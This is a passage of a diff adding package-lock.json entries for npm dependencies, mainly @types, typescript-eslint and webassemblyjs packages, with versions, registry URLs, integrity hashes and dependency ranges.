+      "integrity": "sha512-wOuvG1SN4Us4rez+tylwwwCV1psiNVOkJeM3AUWUNWg/jDQY2+HE/444y5gc+jBmRqASOm2Oeh5c1axHobwRKQ=="
+    },
+    "node_modules/@types/json5": {
+      "version": "0.0.29",
+      "resolved": "https://registry.npmjs.org/@types/json5/-/json5-0.0.29.tgz",
+      "integrity": "sha512-dRLjCWHYg4oaA77cxO64oO+7JwCwnIzkZPdrrC71jQmQtlhM556pwKo5bUzqvZndkVbeFLIIi+9TC40JNF5hNQ=="
+    },
+    "node_modules/@types/mime": {
+      "version": "3.0.1",
+      "resolved": "https://registry.npmjs.org/@types/mime/-/mime-3.0.1.tgz",
+      "integrity": "sha512-Y4XFY5VJAuw0FgAqPNd6NNoV44jbq9Bz2L7Rh/J6jLTiHBSBJa9fxqQIvkIld4GsoDOcCbvzOUAbLPsSKKg+uA=="
+    },
+    "node_modules/@types/node": {
+      "version": "18.7.23",
+      "resolved": "https://registry.npmjs.org/@types/node/-/node-18.7.23.tgz",
+      "integrity": "sha512-DWNcCHolDq0ZKGizjx2DZjR/PqsYwAcYUJmfMWqtVU2MBMG5Mo+xFZrhGId5r/O5HOuMPyQEcM6KUBp5lBZZBg=="
+    },
+    "node_modules/@types/parse-json": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/@types/parse-json/-/parse-json-4.0.0.tgz",
+      "integrity": "sha512-//oorEZjL6sbPcKUaCdIGlIUeH26mgzimjBB77G6XRgnDl/L5wOnpyBGRe/Mmf5CVW3PwEBE1NjiMZ/ssFh4wA=="
+    },
+    "node_modules/@types/prettier": {
+      "version": "2.7.1",
+      "resolved": "https://registry.npmjs.org/@types/prettier/-/prettier-2.7.1.tgz",
+      "integrity": "sha512-ri0UmynRRvZiiUJdiz38MmIblKK+oH30MztdBVR95dv/Ubw6neWSb8u1XpRb72L4qsZOhz+L+z9JD40SJmfWow=="
+    },
+    "node_modules/@types/prop-types": {
+      "version": "15.7.3",
+      "resolved": "https://registry.npmjs.org/@types/prop-types/-/prop-types-15.7.3.tgz",
+      "integrity": "sha512-KfRL3PuHmqQLOG+2tGpRO26Ctg+Cq1E01D2DMriKEATHgWLfeNDmq9e29Q9WIky0dQ3NPkd1mzYH8Lm936Z9qw=="
+    },
+    "node_modules/@types/q": {
+      "version": "1.5.5",
+      "resolved": "https://registry.npmjs.org/@types/q/-/q-1.5.5.tgz",
+      "integrity": "sha512-L28j2FcJfSZOnL1WBjDYp2vUHCeIFlyYI/53EwD/rKUBQ7MtUUfbQWiyKJGpcnv4/WgrhWsFKrcPstcAt/J0tQ=="
+    },
+    "node_modules/@types/qs": {
+      "version": "6.9.7",
+      "resolved": "https://registry.npmjs.org/@types/qs/-/qs-6.9.7.tgz",
+      "integrity": "sha512-FGa1F62FT09qcrueBA6qYTrJPVDzah9a+493+o2PCXsesWHIn27G98TsSMs3WPNbZIEj4+VJf6saSFpvD+3Zsw=="
+    },
+    "node_modules/@types/range-parser": {
+      "version": "1.2.4",
+      "resolved": "https://registry.npmjs.org/@types/range-parser/-/range-parser-1.2.4.tgz",
+      "integrity": "sha512-EEhsLsD6UsDM1yFhAvy0Cjr6VwmpMWqFBCb9w07wVugF7w9nfajxLuVmngTIpgS6svCnm6Vaw+MZhoDCKnOfsw=="
+    },
+    "node_modules/@types/react": {
+      "version": "16.9.34",
+      "resolved": "https://registry.npmjs.org/@types/react/-/react-16.9.34.tgz",
+      "integrity": "sha512-8AJlYMOfPe1KGLKyHpflCg5z46n0b5DbRfqDksxBLBTUpB75ypDBAO9eCUcjNwE6LCUslwTz00yyG/X9gaVtow==",
+      "dependencies": {
+        "@types/prop-types": "*",
+        "csstype": "^2.2.0"
+      }
+    },
+    "node_modules/@types/react-dom": {
+      "version": "16.9.6",
+      "resolved": "https://registry.npmjs.org/@types/react-dom/-/react-dom-16.9.6.tgz",
+      "integrity": "sha512-S6ihtlPMDotrlCJE9ST1fRmYrQNNwfgL61UB4I1W7M6kPulUKx9fXAleW5zpdIjUQ4fTaaog8uERezjsGUj9HQ==",
+      "dependencies": {
+        "@types/react": "*"
+      }
+    },
+    "node_modules/@types/resolve": {
+      "version": "1.17.1",
+      "resolved": "https://registry.npmjs.org/@types/resolve/-/resolve-1.17.1.tgz",
+      "integrity": "sha512-yy7HuzQhj0dhGpD8RLXSZWEkLsV9ibvxvi6EiJ3bkqLAO1RGo0WbkWQiwpRlSFymTJRz0d3k5LM3kkx8ArDbLw==",
+      "dependencies": {
+        "@types/node": "*"
+      }
+    },
+    "node_modules/@types/retry": {
+      "version": "0.12.0",
+      "resolved": "https://registry.npmjs.org/@types/retry/-/retry-0.12.0.tgz",
+      "integrity": "sha512-wWKOClTTiizcZhXnPY4wikVAwmdYHp8q6DmC+EJUzAMsycb7HB32Kh9RN4+0gExjmPmZSAQjgURXIGATPegAvA=="
+    },
+    "node_modules/@types/serve-index": {
+      "version": "1.9.1",
+      "resolved": "https://registry.npmjs.org/@types/serve-index/-/serve-index-1.9.1.tgz",
+      "integrity": "sha512-d/Hs3nWDxNL2xAczmOVZNj92YZCS6RGxfBPjKzuu/XirCgXdpKEb88dYNbrYGint6IVWLNP+yonwVAuRC0T2Dg==",
+      "dependencies": {
+        "@types/express": "*"
+      }
+    },
+    "node_modules/@types/serve-static": {
+      "version": "1.15.0",
+      "resolved": "https://registry.npmjs.org/@types/serve-static/-/serve-static-1.15.0.tgz",
+      "integrity": "sha512-z5xyF6uh8CbjAu9760KDKsH2FcDxZ2tFCsA4HIMWE6IkiYMXfVoa+4f9KX+FN0ZLsaMw1WNG2ETLA6N+/YA+cg==",
+      "dependencies": {
+        "@types/mime": "*",
+        "@types/node": "*"
+      }
+    },
+    "node_modules/@types/sockjs": {
+      "version": "0.3.33",
+      "resolved": "https://registry.npmjs.org/@types/sockjs/-/sockjs-0.3.33.tgz",
+      "integrity": "sha512-f0KEEe05NvUnat+boPTZ0dgaLZ4SfSouXUgv5noUiefG2ajgKjmETo9ZJyuqsl7dfl2aHlLJUiki6B4ZYldiiw==",
+      "dependencies": {
+        "@types/node": "*"
+      }
+    },
+    "node_modules/@types/stack-utils": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/@types/stack-utils/-/stack-utils-2.0.1.tgz",
+      "integrity": "sha512-Hl219/BT5fLAaz6NDkSuhzasy49dwQS/DSdu4MdggFB8zcXv7vflBI3xp7FEmkmdDkBUI2bPUNeMttp2knYdxw=="
+    },
+    "node_modules/@types/testing-library__dom": {
+      "version": "6.14.0",
+      "resolved": "https://registry.npmjs.org/@types/testing-library__dom/-/testing-library__dom-6.14.0.tgz",
+      "integrity": "sha512-sMl7OSv0AvMOqn1UJ6j1unPMIHRXen0Ita1ujnMX912rrOcawe4f7wu0Zt9GIQhBhJvH2BaibqFgQ3lP+Pj2hA==",
+      "dependencies": {
+        "pretty-format": "^24.3.0"
+      }
+    },
+    "node_modules/@types/testing-library__react": {
+      "version": "9.1.3",
+      "resolved": "https://registry.npmjs.org/@types/testing-library__react/-/testing-library__react-9.1.3.tgz",
+      "integrity": "sha512-iCdNPKU3IsYwRK9JieSYAiX0+aYDXOGAmrC/3/M7AqqSDKnWWVv07X+Zk1uFSL7cMTUYzv4lQRfohucEocn5/w==",
+      "dependencies": {
+        "@types/react-dom": "*",
+        "@types/testing-library__dom": "*",
+        "pretty-format": "^25.1.0"
+      }
+    },
+    "node_modules/@types/testing-library__react/node_modules/@jest/types": {
+      "version": "25.3.0",
+      "resolved": "https://registry.npmjs.org/@jest/types/-/types-25.3.0.tgz",
+      "integrity": "sha512-UkaDNewdqXAmCDbN2GlUM6amDKS78eCqiw/UmF5nE0mmLTd6moJkiZJML/X52Ke3LH7Swhw883IRXq8o9nWjVw==",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "@types/istanbul-reports": "^1.1.1",
+        "@types/yargs": "^15.0.0",
+        "chalk": "^3.0.0"
+      },
+      "engines": {
+        "node": ">= 8.3"
+      }
+    },
+    "node_modules/@types/testing-library__react/node_modules/@types/yargs": {
+      "version": "15.0.4",
+      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-15.0.4.tgz",
+      "integrity": "sha512-9T1auFmbPZoxHz0enUFlUuKRy3it01R+hlggyVUMtnCTQRunsQYifnSGb8hET4Xo8yiC0o0r1paW3ud5+rbURg==",
+      "dependencies": {
+        "@types/yargs-parser": "*"
+      }
+    },
+    "node_modules/@types/testing-library__react/node_modules/ansi-regex": {
+      "version": "5.0.1",
+      "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
+      "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/@types/testing-library__react/node_modules/ansi-styles": {
+      "version": "4.2.1",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.2.1.tgz",
+      "integrity": "sha512-9VGjrMsG1vePxcSweQsN20KY/c4zN0h9fLjqAbwbPfahM3t+NL+M9HC8xeXG2I8pX5NoamTGNuomEUFI7fcUjA==",
+      "dependencies": {
+        "@types/color-name": "^1.1.1",
+        "color-convert": "^2.0.1"
+      },
+      "engines": {
+        "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+      }
+    },
+    "node_modules/@types/testing-library__react/node_modules/chalk": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/chalk/-/chalk-3.0.0.tgz",
+      "integrity": "sha512-4D3B6Wf41KOYRFdszmDqMCGq5VV/uMAB273JILmO+3jAlh8X4qDtdtgCR3fxtbLEMzSx22QdhnDcJvu2u1fVwg==",
+      "dependencies": {
+        "ansi-styles": "^4.1.0",
+        "supports-color": "^7.1.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/@types/testing-library__react/node_modules/color-convert": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+      "dependencies": {
+        "color-name": "~1.1.4"
+      },
+      "engines": {
+        "node": ">=7.0.0"
+      }
+    },
+    "node_modules/@types/testing-library__react/node_modules/color-name": {
+      "version": "1.1.4",
+      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+    },
+    "node_modules/@types/testing-library__react/node_modules/has-flag": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/@types/testing-library__react/node_modules/pretty-format": {
+      "version": "25.3.0",
+      "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-25.3.0.tgz",
+      "integrity": "sha512-wToHwF8bkQknIcFkBqNfKu4+UZqnrLn/Vr+wwKQwwvPzkBfDDKp/qIabFqdgtoi5PEnM8LFByVsOrHoa3SpTVA==",
+      "dependencies": {
+        "@jest/types": "^25.3.0",
+        "ansi-regex": "^5.0.0",
+        "ansi-styles": "^4.0.0",
+        "react-is": "^16.12.0"
+      },
+      "engines": {
+        "node": ">= 8.3"
+      }
+    },
+    "node_modules/@types/testing-library__react/node_modules/supports-color": {
+      "version": "7.1.0",
+      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.1.0.tgz",
+      "integrity": "sha512-oRSIpR8pxT1Wr2FquTNnGet79b3BWljqOuoW/h4oBhxJ/HUbX5nX6JSruTkvXDCFMwDPvsaTTbvMLKZWSy0R5g==",
+      "dependencies": {
+        "has-flag": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/@types/trusted-types": {
+      "version": "2.0.2",
+      "resolved": "https://registry.npmjs.org/@types/trusted-types/-/trusted-types-2.0.2.tgz",
+      "integrity": "sha512-F5DIZ36YVLE+PN+Zwws4kJogq47hNgX3Nx6WyDJ3kcplxyke3XIzB8uK5n/Lpm1HBsbGzd6nmGehL8cPekP+Tg=="
+    },
+    "node_modules/@types/ws": {
+      "version": "8.5.3",
+      "resolved": "https://registry.npmjs.org/@types/ws/-/ws-8.5.3.tgz",
+      "integrity": "sha512-6YOoWjruKj1uLf3INHH7D3qTXwFfEsg1kf3c0uDdSBJwfa/llkwIjrAGV7j7mVgGNbzTQ3HiHKKDXl6bJPD97w==",
+      "dependencies": {
+        "@types/node": "*"
+      }
+    },
+    "node_modules/@types/yargs": {
+      "version": "13.0.8",
+      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-13.0.8.tgz",
+      "integrity": "sha512-XAvHLwG7UQ+8M4caKIH0ZozIOYay5fQkAgyIXegXT9jPtdIGdhga+sUEdAr1CiG46aB+c64xQEYyEzlwWVTNzA==",
+      "dependencies": {
+        "@types/yargs-parser": "*"
+      }
+    },
+    "node_modules/@types/yargs-parser": {
+      "version": "15.0.0",
+      "resolved": "https://registry.npmjs.org/@types/yargs-parser/-/yargs-parser-15.0.0.tgz",
+      "integrity": "sha512-FA/BWv8t8ZWJ+gEOnLLd8ygxH/2UFbAvgEonyfN6yWGLKc7zVjbpl2Y4CTjid9h2RfgPP6SEt6uHwEOply00yw=="
+    },
+    "node_modules/@typescript-eslint/eslint-plugin": {
+      "version": "5.38.1",
+      "resolved": "https://registry.npmjs.org/@typescript-eslint/eslint-plugin/-/eslint-plugin-5.38.1.tgz",
+      "integrity": "sha512-ky7EFzPhqz3XlhS7vPOoMDaQnQMn+9o5ICR9CPr/6bw8HrFkzhMSxuA3gRfiJVvs7geYrSeawGJjZoZQKCOglQ==",
+      "dependencies": {
+        "@typescript-eslint/scope-manager": "5.38.1",
+        "@typescript-eslint/type-utils": "5.38.1",
+        "@typescript-eslint/utils": "5.38.1",
+        "debug": "^4.3.4",
+        "ignore": "^5.2.0",
+        "regexpp": "^3.2.0",
+        "semver": "^7.3.7",
+        "tsutils": "^3.21.0"
+      },
+      "engines": {
+        "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/typescript-eslint"
+      },
+      "peerDependencies": {
+        "@typescript-eslint/parser": "^5.0.0",
+        "eslint": "^6.0.0 || ^7.0.0 || ^8.0.0"
+      },
+      "peerDependenciesMeta": {
+        "typescript": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/@typescript-eslint/experimental-utils": {
+      "version": "5.38.1",
+      "resolved": "https://registry.npmjs.org/@typescript-eslint/experimental-utils/-/experimental-utils-5.38.1.tgz",
+      "integrity": "sha512-Zv0EcU0iu64DiVG3pRZU0QYCgANO//U1fS3oEs3eqHD1eIVVcQsFd/T01ckaNbL2H2aCqRojY2xZuMAPcOArEA==",
+      "dependencies": {
+        "@typescript-eslint/utils": "5.38.1"
+      },
+      "engines": {
+        "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/typescript-eslint"
+      },
+      "peerDependencies": {
+        "eslint": "^6.0.0 || ^7.0.0 || ^8.0.0"
+      }
+    },
+    "node_modules/@typescript-eslint/parser": {
+      "version": "5.38.1",
+      "resolved": "https://registry.npmjs.org/@typescript-eslint/parser/-/parser-5.38.1.tgz",
+      "integrity": "sha512-LDqxZBVFFQnQRz9rUZJhLmox+Ep5kdUmLatLQnCRR6523YV+XhRjfYzStQ4MheFA8kMAfUlclHSbu+RKdRwQKw==",
+      "dependencies": {
+        "@typescript-eslint/scope-manager": "5.38.1",
+        "@typescript-eslint/types": "5.38.1",
+        "@typescript-eslint/typescript-estree": "5.38.1",
+        "debug": "^4.3.4"
+      },
+      "engines": {
+        "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/typescript-eslint"
+      },
+      "peerDependencies": {
+        "eslint": "^6.0.0 || ^7.0.0 || ^8.0.0"
+      },
+      "peerDependenciesMeta": {
+        "typescript": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/@typescript-eslint/scope-manager": {
+      "version": "5.38.1",
+      "resolved": "https://registry.npmjs.org/@typescript-eslint/scope-manager/-/scope-manager-5.38.1.tgz",
+      "integrity": "sha512-BfRDq5RidVU3RbqApKmS7RFMtkyWMM50qWnDAkKgQiezRtLKsoyRKIvz1Ok5ilRWeD9IuHvaidaLxvGx/2eqTQ==",
+      "dependencies": {
+        "@typescript-eslint/types": "5.38.1",
+        "@typescript-eslint/visitor-keys": "5.38.1"
+      },
+      "engines": {
+        "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/typescript-eslint"
+      }
+    },
+    "node_modules/@typescript-eslint/type-utils": {
+      "version": "5.38.1",
+      "resolved": "https://registry.npmjs.org/@typescript-eslint/type-utils/-/type-utils-5.38.1.tgz",
+      "integrity": "sha512-UU3j43TM66gYtzo15ivK2ZFoDFKKP0k03MItzLdq0zV92CeGCXRfXlfQX5ILdd4/DSpHkSjIgLLLh1NtkOJOAw==",
+      "dependencies": {
+        "@typescript-eslint/typescript-estree": "5.38.1",
+        "@typescript-eslint/utils": "5.38.1",
+        "debug": "^4.3.4",
+        "tsutils": "^3.21.0"
+      },
+      "engines": {
+        "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/typescript-eslint"
+      },
+      "peerDependencies": {
+        "eslint": "*"
+      },
+      "peerDependenciesMeta": {
+        "typescript": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/@typescript-eslint/types": {
+      "version": "5.38.1",
+      "resolved": "https://registry.npmjs.org/@typescript-eslint/types/-/types-5.38.1.tgz",
+      "integrity": "sha512-QTW1iHq1Tffp9lNfbfPm4WJabbvpyaehQ0SrvVK2yfV79SytD9XDVxqiPvdrv2LK7DGSFo91TB2FgWanbJAZXg==",
+      "engines": {
+        "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/typescript-eslint"
+      }
+    },
+    "node_modules/@typescript-eslint/typescript-estree": {
+      "version": "5.38.1",
+      "resolved": "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-5.38.1.tgz",
+      "integrity": "sha512-99b5e/Enoe8fKMLdSuwrfH/C0EIbpUWmeEKHmQlGZb8msY33qn1KlkFww0z26o5Omx7EVjzVDCWEfrfCDHfE7g==",
+      "dependencies": {
+        "@typescript-eslint/types": "5.38.1",
+        "@typescript-eslint/visitor-keys": "5.38.1",
+        "debug": "^4.3.4",
+        "globby": "^11.1.0",
+        "is-glob": "^4.0.3",
+        "semver": "^7.3.7",
+        "tsutils": "^3.21.0"
+      },
+      "engines": {
+        "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/typescript-eslint"
+      },
+      "peerDependenciesMeta": {
+        "typescript": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/@typescript-eslint/utils": {
+      "version": "5.38.1",
+      "resolved": "https://registry.npmjs.org/@typescript-eslint/utils/-/utils-5.38.1.tgz",
+      "integrity": "sha512-oIuUiVxPBsndrN81oP8tXnFa/+EcZ03qLqPDfSZ5xIJVm7A9V0rlkQwwBOAGtrdN70ZKDlKv+l1BeT4eSFxwXA==",
+      "dependencies": {
+        "@types/json-schema": "^7.0.9",
+        "@typescript-eslint/scope-manager": "5.38.1",
+        "@typescript-eslint/types": "5.38.1",
+        "@typescript-eslint/typescript-estree": "5.38.1",
+        "eslint-scope": "^5.1.1",
+        "eslint-utils": "^3.0.0"
+      },
+      "engines": {
+        "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/typescript-eslint"
+      },
+      "peerDependencies": {
+        "eslint": "^6.0.0 || ^7.0.0 || ^8.0.0"
+      }
+    },
+    "node_modules/@typescript-eslint/utils/node_modules/eslint-scope": {
+      "version": "5.1.1",
+      "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-5.1.1.tgz",
+      "integrity": "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==",
+      "dependencies": {
+        "esrecurse": "^4.3.0",
+        "estraverse": "^4.1.1"
+      },
+      "engines": {
+        "node": ">=8.0.0"
+      }
+    },
+    "node_modules/@typescript-eslint/utils/node_modules/estraverse": {
+      "version": "4.3.0",
+      "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.3.0.tgz",
+      "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==",
+      "engines": {
+        "node": ">=4.0"
+      }
+    },
+    "node_modules/@typescript-eslint/visitor-keys": {
+      "version": "5.38.1",
+      "resolved": "https://registry.npmjs.org/@typescript-eslint/visitor-keys/-/visitor-keys-5.38.1.tgz",
+      "integrity": "sha512-bSHr1rRxXt54+j2n4k54p4fj8AHJ49VDWtjpImOpzQj4qjAiOpPni+V1Tyajh19Api1i844F757cur8wH3YvOA==",
+      "dependencies": {
+        "@typescript-eslint/types": "5.38.1",
+        "eslint-visitor-keys": "^3.3.0"
+      },
+      "engines": {
+        "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/typescript-eslint"
+      }
+    },
+    "node_modules/@webassemblyjs/ast": {
+      "version": "1.12.1",
+      "resolved": "https://registry.npmjs.org/@webassemblyjs/ast/-/ast-1.12.1.tgz",
+      "integrity": "sha512-EKfMUOPRRUTy5UII4qJDGPpqfwjOmZ5jeGFwid9mnoqIFK+e0vqoi1qH56JpmZSzEL53jKnNzScdmftJyG5xWg==",
+      "dependencies": {
+        "@webassemblyjs/helper-numbers": "1.11.6",
+        "@webassemblyjs/helper-wasm-bytecode": "1.11.6"
+      }
+    },
+    "node_modules/@webassemblyjs/floating-point-hex-parser": {
+      "version": "1.11.6",
+      "resolved": "https://registry.npmjs.org/@webassemblyjs/floating-point-hex-parser/-/floating-point-hex-parser-1.11.6.tgz",
+      "integrity": "sha512-ejAj9hfRJ2XMsNHk/v6Fu2dGS+i4UaXBXGemOfQ/JfQ6mdQg/WXtwleQRLLS4OvfDhv8rYnVwH27YJLMyYsxhw=="
+    },
+    "node_modules/@webassemblyjs/helper-api-error": {
+      "version": "1.11.6",
+      "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-api-error/-/helper-api-error-1.11.6.tgz",
+      "integrity": "sha512-o0YkoP4pVu4rN8aTJgAyj9hC2Sv5UlkzCHhxqWj8butaLvnpdc2jOwh4ewE6CX0txSfLn/UYaV/pheS2Txg//Q=="
+    },
+    "node_modules/@webassemblyjs/helper-buffer": {
+      "version": "1.12.1",
+      "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-buffer/-/helper-buffer-1.12.1.tgz",
+      "integrity": "sha512-nzJwQw99DNDKr9BVCOZcLuJJUlqkJh+kVzVl6Fmq/tI5ZtEyWT1KZMyOXltXLZJmDtvLCDgwsyrkohEtopTXCw=="
+    },
+    "node_modules/@webassemblyjs/helper-numbers": {
+      "version": "1.11.6",
+      "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-numbers/-/helper-numbers-1.11.6.tgz",
+      "integrity": "sha512-vUIhZ8LZoIWHBohiEObxVm6hwP034jwmc9kuq5GdHZH0wiLVLIPcMCdpJzG4C11cHoQ25TFIQj9kaVADVX7N3g==",
+      "dependencies": {
+        "@webassemblyjs/floating-point-hex-parser": "1.11.6",
+        "@webassemblyjs/helper-api-error": "1.11.6",
+        "@xtuc/long": "4.2.2"
+      }
+    },
+    "node_modules/@webassemblyjs/helper-wasm-bytecode": {
+      "version": "1.11.6",
+      "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-bytecode/-/helper-wasm-bytecode-1.11.6.tgz",
+      "integrity": "sha512-sFFHKwcmBprO9e7Icf0+gddyWYDViL8bpPjJJl0WHxCdETktXdmtWLGVzoHbqUcY4Be1LkNfwTmXOJUFZYSJdA=="
+    },
+    "node_modules/@webassemblyjs/helper-wasm-section": {
+      "version": "1.12.1",
+      "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-section/-/helper-wasm-section-1.12.1.tgz",
+      "integrity": "sha512-Jif4vfB6FJlUlSbgEMHUyk1j234GTNG9dBJ4XJdOySoj518Xj0oGsNi59cUQF4RRMS9ouBUxDDdyBVfPTypa5g==",
+      "dependencies": {
+        "@webassemblyjs/ast": "1.12.1",
+        "@webassemblyjs/helper-buffer": "1.12.1",
+        "@webassemblyjs/helper-wasm-bytecode": "1.11.6",
+        "@webassemblyjs/wasm-gen": "1.12.1"
+      }
+    },
+    "node_modules/@webassemblyjs/ieee754": {
+      "version": "1.11.6",
+      "resolved": "https://registry.npmjs.org/@webassemblyjs/ieee754/-/ieee754-1.11.6.tgz",
+      "integrity": "sha512-LM4p2csPNvbij6U1f19v6WR56QZ8JcHg3QIJTlSwzFcmx6WSORicYj6I63f9yU1kEUtrpG+kjkiIAkevHpDXrg==",
+      "dependencies": {
+        "@xtuc/ieee754": "^1.2.0"
+      }
+    },
+    "node_modules/@webassemblyjs/leb128": {
+      "version": "1.11.6",
+      "resolved": "https://registry.npmjs.org/@webassemblyjs/leb128/-/leb128-1.11.6.tgz",
+      "integrity": "sha512-m7a0FhE67DQXgouf1tbN5XQcdWoNgaAuoULHIfGFIEVKA6tu/edls6XnIlkmS6FrXAquJRPni3ZZKjw6FSPjPQ==",
+      "dependencies": {
+        "@xtuc/long": "4.2.2"
+      }
+    },
+    "node_modules/@webassemblyjs/utf8": {
+      "version": "1.11.6",
+      "resolved": "https://registry.npmjs.org/@webassemblyjs/utf8/-/utf8-1.11.6.tgz",
+      "integrity": "sha512-vtXf2wTQ3+up9Zsg8sa2yWiQpzSsMyXj0qViVP6xKGCUT8p8YJ6HqI7l5eCnWx1T/FYdsv07HQs2wTFbbof/RA=="
+    },
+    "node_modules/@webassemblyjs/wasm-edit": {
+      "version": "1.12.1",
+      "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-edit/-/wasm-edit-1.12.1.tgz",
+      "integrity": "sha512-1DuwbVvADvS5mGnXbE+c9NfA8QRcZ6iKquqjjmR10k6o+zzsRVesil54DKexiowcFCPdr/Q0qaMgB01+SQ1u6g==",
+      "dependencies": {
+        "@webassemblyjs/ast": "1.12.1",
+        "@webassemblyjs/helper-buffer": "1.12.1",
+        "@webassemblyjs/helper-wasm-bytecode": "1.11.6",
+        "@webassemblyjs/helper-wasm-section": "1.12.1",
+        "@webassemblyjs/wasm-gen": "1.12.1",
+        "@webassemblyjs/wasm-opt": "1.12.1",
+        "@webassemblyjs/wasm-parser": "1.12.1",
+        "@webassemblyjs/wast-printer": "1.12.1"
+      }
+    },
+    "node_modules/@webassemblyjs/wasm-gen": {
+      "version": "1.12.1",
+      "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-gen/-/wasm-gen-1.12.1.tgz",
+      "integrity": "sha512-TDq4Ojh9fcohAw6OIMXqiIcTq5KUXTGRkVxbSo1hQnSy6lAM5GSdfwWeSxpAo0YzgsgF182E/U0mDNhuA0tW7w==",
+      "dependencies": {
+        "@webassemblyjs/ast": "1.12.1",
+        "@webassemblyjs/helper-wasm-bytecode": "1.11.6",
+        "@webassemblyjs/ieee754": "1.11.6",
+        "@webassemblyjs/leb128": "1.11.6",
+        "@webassemblyjs/utf8": "1.11.6"
+      }
+    },
+    "node_modules/@webassemblyjs/wasm-opt": {
+      "version": "1.12.1",
+      "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-opt/-/wasm-opt-1.12.1.tgz",
+      "integrity": "sha512-Jg99j/2gG2iaz3hijw857AVYekZe2SAskcqlWIZXjji5WStnOpVoat3gQfT/Q5tb2djnCjBtMocY/Su1GfxPBg==",
+      "dependencies": {
+        "@webassemblyjs/ast": "1.12.1",
+        "@webassemblyjs/helper-buffer": "1.12.1",
+        "@webassemblyjs/wasm-gen": "1.12.1",
+        "@webassemblyjs/wasm-parser": "1.12.1"
+      }
+    },
+    "node_modules/@webassemblyjs/wasm-parser": {
+      "version": "1.12.1",
+      "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-parser/-/wasm-parser-1.12.1.tgz",
+      "integrity": "sha512-xikIi7c2FHXysxXe3COrVUPSheuBtpcfhbpFj4gmu7KRLYOzANztwUU0IbsqvMqzuNK2+glRGWCEqZo1WCLyAQ==",
+      "dependencies": {
+        "@webassemblyjs/ast": "1.12.1",
+        "@webassemblyjs/helper-api-error": "1.11.6",
+        "@webassemblyjs/helper-wasm-bytecode": "1.11.6",
+        "@webassemblyjs/ieee754": "1.11.6",
+        "@webassemblyjs/leb128": "1.11.6",
+        "@webassemblyjs/utf8": "1.11.6"
+      }
+    },
